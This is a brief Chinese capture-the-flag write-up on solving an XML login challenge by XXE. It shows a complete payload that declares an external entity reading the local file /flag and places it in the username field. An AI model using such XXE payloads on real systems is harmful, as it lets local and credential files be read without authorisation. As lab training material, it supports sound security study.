运用的知识点
- XXE漏洞利用
题目
解题
不能用SQL注入,题目提示我们是XML。利用XXE漏洞
参考 从XML相关一步一步到XXE漏洞.
先抓包
构造PL
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>1</password></user>
拿到FLAG